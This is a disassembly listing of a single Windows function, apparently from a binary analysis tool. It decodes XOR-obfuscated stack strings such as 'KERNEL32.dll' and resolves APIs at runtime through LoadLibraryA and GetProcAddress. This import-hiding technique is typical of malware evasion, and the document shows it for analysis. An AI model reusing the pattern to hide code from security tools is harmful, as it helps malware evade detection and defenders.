Function at 0x140001540
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0xf0
call fcn.140008810
mov byte [rsp + 0xac], 0x44
mov dl, 0x38
movabs rax, 0xd0d717975687c73
mov dword [rsp + 0xa8], 0x2f2e256e
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0xa0]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x45
jne 0x140001581
mov rbx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rbx
mov word [rsp + 0x4c], 0x2d2c
mov dl, 0x38
xchg rdi, rax
mov byte [rsp + 0x4e], 0x42
movabs rax, 0x5b100f0f64086a6f
mov qword [rsp + 0x44], rax
lea rax, [rsp + 0x44]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x43
jne 0x1400015bd
call rbx
mov byte [rsp + 0xc8], 0x46
mov dl, 0x38
mov dword [rsp + 0xc2], 0x3027222f
xchg rsi, rax
movabs rax, 0x4d6e58485a5f4b7b
mov word [rsp + 0xc6], 0x437
mov qword [rsp + 0xba], rax
lea rax, [rsp + 0xba]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x47
jne 0x140001609
mov rdx, rcx
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
call rbx
mov dword [rsp + 0x78], 0x43272d24
mov dl, 0x38
mov qword [0x14000e108], rax
movabs rax, 0x515f75594855557b
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x70]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x44
jne 0x14000164c
mov rdx, rcx
mov rcx, rdi
call rbx
mov word [rsp + 0x42], 0x4101
mov dl, 0x38
mov qword [0x14000e100], rax
movabs rax, 0x5a52547a424a567b
mov qword [rsp + 0x3a], rax
lea rax, [rsp + 0x3a]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x42
jne 0x140001687
mov rdx, rcx
mov rcx, rdi
call rbx
mov dl, 0x38
mov dword [rsp + 0x84], 0x43313225
mov qword [0x14000e0f8], rax
movabs rax, 0x5c514f6c4f53417d
mov qword [rsp + 0x7c], rax
lea rax, [rsp + 0x7c]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x44
jne 0x1400016c6
mov rdx, rcx
mov rcx, rdi
call rbx
mov dl, 0x38
mov dword [rsp + 0xec], 0x4b3e2a2d
mov qword [0x14000e0f0], rax
movabs rax, 0x6c4c527a4f53586f
mov qword [rsp + 0xdc], rax
movabs rax, 0x2d240a212f252f29
mov qword [rsp + 0xe4], rax
lea rax, [rsp + 0xdc]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x4c
jne 0x14000171d
mov rdx, rcx
mov rcx, rdi
call rbx
mov byte [rsp + 0xdb], 0x4a
mov dl, 0x38
mov qword [0x14000e0e8], rax
movabs rax, 0x534b5953764e5c7f
mov qword [rsp + 0xc9], rax
movabs rax, 0x2a270b212f2b0725
mov word [rsp + 0xd9], 0x82d
mov qword [rsp + 0xd1], rax
lea rax, [rsp + 0xc9]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x4b
jne 0x14000177b
mov rdx, rcx
mov rcx, rdi
call rbx
mov dword [rsp + 0x2c], 0x5e5f556b
mov dl, 0x38
mov word [rsp + 0x30], 0x3d4c
mov qword [0x14000e0e0], rax
lea rax, [rsp + 0x2c]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x3e
jne 0x1400017af
mov rdx, rcx
mov rcx, rdi
call rbx
mov word [rsp + 0x57], 0x3135
mov dl, 0x38
mov qword [0x14000e0d8], rax
movabs rax, 0x4b4c5c48687b6a6f
mov byte [rsp + 0x59], 0x42
mov qword [rsp + 0x4f], rax
lea rax, [rsp + 0x4f]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x43
jne 0x1400017ef
mov rdx, rcx
mov rcx, rsi
call rbx
mov dl, 0x38
mov dword [rsp + 0x90], 0x432d272e
mov qword [0x14000e0d0], rax
movabs rax, 0x564c59585a4e5c5f
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x88]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x44
jne 0x140001834
mov rdx, rcx
mov rcx, rsi
call rbx
mov word [rsp + 0x62], 0x34
mov dl, 0x38
mov qword [0x14000e0c8], rax
movabs rax, 0x5a555e53687b6a6f
mov byte [rsp + 0x64], 0x42
mov qword [rsp + 0x5a], rax
lea rax, [rsp + 0x5a]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x43
jne 0x140001874
mov rdx, rcx
mov rcx, rsi
call rbx
mov byte [rsp + 0xb9], 0x44
mov dl, 0x38
mov qword [0x14000e0c0], rax
movabs rax, 0x4d5a595d5e5f4b5e
mov dword [rsp + 0xb5], 0x2c242f29
mov qword [rsp + 0xad], rax
lea rax, [rsp + 0xad]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x45
jne 0x1400018c1
mov rdx, rcx
mov rcx, rsi
call rbx
mov dl, 0x38
mov dword [rsp + 0x9c], 0x4336242b
mov qword [0x14000e0b8], rax
movabs rax, 0x5c514e594855555b
mov qword [rsp + 0x94], rax
lea rax, [rsp + 0x94]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x44
jne 0x140001906
mov rdx, rcx
mov rcx, rsi
call rbx
mov word [rsp + 0x6d], 0x3135
mov dl, 0x38
mov qword [0x14000e0b0], rax
movabs rax, 0x515f5850787b6a6f
mov byte [rsp + 0x6f], 0x42
mov qword [rsp + 0x65], rax
lea rax, [rsp + 0x65]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x43
jne 0x140001946
mov rdx, rcx
mov rcx, rsi
call rbx
mov dl, 0x38
mov qword [0x14000e0a8], rax
movabs rax, 0x3f4a5e595554565b
mov qword [rsp + 0x32], rax
lea rax, [rsp + 0x32]
mov rcx, rax
xor byte [rax], dl
inc edx
inc rax
cmp dl, 0x40
jne 0x14000197a
mov rdx, rcx
mov rcx, rsi
call rbx
mov rbx, qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rdi
mov qword [0x14000e0a0], rax
call rbx
mov rcx, rsi
call rbx
call fcn.140008810
nop
add rsp, 0xf0
pop rbx
pop rsi
pop rdi
ret